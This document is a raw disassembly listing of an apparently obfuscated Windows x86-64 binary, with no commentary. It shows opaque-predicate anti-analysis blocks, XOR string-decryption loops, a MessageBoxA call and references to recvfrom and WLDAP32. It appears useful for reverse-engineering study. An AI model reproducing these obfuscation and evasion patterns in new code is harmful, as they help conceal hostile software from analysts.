mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018d8e
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018d8e
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018dae
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
movdqa xmm0, xmmword [0x1400d72f0]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400d7260]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0x9464b448
mov dword [rbp + 0xbec], 0x97cf877c
mov dword [rbp + 0xbf0], 0x959a9114
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r15
movabs rsi, 0x1825ef713
mov qword [rsp + 0x20], rsi
mov r9d, Ordinal_46
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.140026d5c
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x140018e01
mov byte [rbp + 0xbf4], r15b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.14000a6e8
mov rax, qword gs:[0x56]
cmp rax, r14
mov esi, 6
jne 0x140018f11
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0xab19a096
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018ef1
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018ef1
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018f11
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140018fbb
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140018f9b
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140018f9b
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140018fbb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
lea rcx, [rbp + 0x9f8]
call fcn.140017420
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.14000a7f8
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.140027e78
lea rcx, [rbp + 0x9f8]
call fcn.140027db4
lea rcx, [rbp + 0x9f8]
call fcn.14000ad08
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x1400190b3
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019093
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019093
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400190b3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001915d
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001913d
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001913d
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001915d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov dword [rbp - 0x68], 0xa14a0aa0
mov word [rbp - 0x64], 0x2529
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r15
movabs r12, 0x1825ef713
mov qword [rsp + 0x20], r12
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.140026ce4
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, rsi
jb 0x14001917c
mov byte [rbp - 0x62], r15b
mov dword [rbp - 0x58], 0xa14a18b9
mov word [rbp - 0x54], 0x2529
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r15
movabs r12, 0xfee0f20abddaa1c0
movabs r13, 0x1825ef713
mov qword [rsp + 0x20], r13
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.140026ce4
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, rsi
jb 0x1400191d0
mov byte [rbp - 0x52], r15b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.1400280e8
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.140027ac0
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.140027c14
lea rcx, [rbp - 0x68]
call fcn.14000a850
mov rcx, rax
call fcn.14000a7f8
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.140027900
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.140027c14
lea rdx, [0x1400f0720]
lea rcx, [rbp + 0xa78]
call fcn.140027ac0
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.140027c14
lea rcx, [rbp + 0xa78]
call fcn.140027db4
lea rcx, [rbp + 0xa78]
call fcn.14000ad08
lea rcx, [rbp + 0xa58]
call fcn.140027db4
lea rcx, [rbp + 0xa58]
call fcn.14000ad08
lea rcx, [rbp + 0xa38]
call fcn.140027db4
lea rcx, [rbp + 0xa38]
call fcn.14000ad08
mov rax, qword gs:[0x56]
cmp rax, r14
mov r13d, 0xcc8395cb
jne 0x14001937d
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001935d
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001935d
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001937d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140019427
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019407
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019407
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019427
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
lea rcx, [rbp + 0x1208]
call fcn.140027728
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.14008db50
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x1400194eb
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400194cb
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400194cb
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400194eb
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
mov esi, 0x5c5c28a
mov edi, 0xab19a096
cmp rax, r14
jne 0x1400195ac
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001958c
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001958c
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400195ac
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.14000a7a0
lea rcx, [rbp + 0x10e8]
call fcn.140027e50
nop
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140019673
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019653
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019653
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019673
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001971d
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400196fd
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400196fd
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001971d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
lea rcx, [rbp + 0x11e8]
call fcn.140027728
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.140016f88
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x1400197f7
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400197d7
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400197d7
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400197f7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov dword [rbp + 0x1e0], 0x2db571
mov dword [rbp + 0x1e4], 0x90acc8ab
mov dword [rbp + 0x1e8], 0x20e749b0
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r15
movabs rbx, 0x1825ef713
mov qword [rsp + 0x20], rbx
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.140026c6c
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x14001982a
mov byte [rbp + 0x1ec], r15b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.140028404
test al, al
je 0x140019ded
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001992a
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001990a
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001990a
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001992a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
movdqa xmm0, xmmword [0x1400d7330]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0x43b23557
mov word [rbp + 0x7cc], 0x74b6
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r15
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.140026b80
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x140019958
mov byte [rbp + 0x7ce], r15b
movdqa xmm0, xmmword [0x1400d7310]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400d74e0]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400d71c0]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400d74d0]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400d7430]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400d7360]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400d7320]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400d7470]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x703639fb
mov word [rbp + 0xde4], 0xf73a
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r15
mov ebx, 0x86
movabs r13, 0x1825ef713
mov qword [rsp + 0x20], r13
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.140026bf4
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, rbx
jb 0x140019a40
mov byte [rbp + 0xde6], r15b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, eax
mov rcx, qword gs:[0x56]
cmp rcx, r14
mov r13d, 0xcc8395cb
jne 0x140019b45
mov rcx, qword gs:[0x5d]
xor rcx, r12
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x5d]
xor rcx, r12
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x5d]
xor rcx, r12
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019b25
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019b25
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019b45
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140019bef
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019bcf
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019bcf
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019bef
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
cmp edx, 7
je 0x1400268f3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140019ca2
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019c82
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019c82
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019ca2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008cc28
int3
movdqa xmm0, xmmword [0x1400d7190]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400d74c0]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400d7180]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r15
movabs r13, 0x1825ef713
mov qword [rsp + 0x20], r13
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.140026b0c
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x140019cdf
mov byte [rbp + 0xc57], r15b
lea rcx, [rbp + 0xc28]
call fcn.14009107c
mov rax, qword gs:[0x56]
cmp rax, r14
mov r13d, 0xcc8395cb
mov edi, 0x2c2bb5e7
mov ebx, 0xab19a096
jne 0x140019df7
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019dcd
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019dcd
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019df7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov edi, 0x2c2bb5e7
mov ebx, 0xab19a096
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140019ea1
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019e81
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019e81
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019ea1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.140027c70
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.140017568
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.140027b4c
lea rcx, [rbp + 0xab8]
call fcn.140027db4
lea rcx, [rbp + 0xab8]
call fcn.14000ad08
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140019f94
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019f74
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019f74
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019f94
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001a03e
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a01e
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a01e
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a03e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.140027e24
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001a105
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a0e5
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a0e5
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a105
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001a1af
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a18f
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a18f
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a1af
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.1400914ec
mov rsi, rax
mov qword [rbp - 0x40], rax
mov rcx, qword gs:[0x56]
cmp rcx, r14
jne 0x14001a26c
mov rcx, qword gs:[0x5d]
xor rcx, r13
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x5d]
xor rcx, r13
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x5d]
xor rcx, r13
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a24c
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a24c
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a26c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x14001a327
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov eax, 0x5c5c28a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5d]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a307
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a307
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a327
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov r14, qword [rbp + 0x10f8]
mov rax, qword gs:[0x56]
mov ebx, 0xd745567d
cmp rax, rbx
jne 0x14001a3dd
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a3bd
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a3bd
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
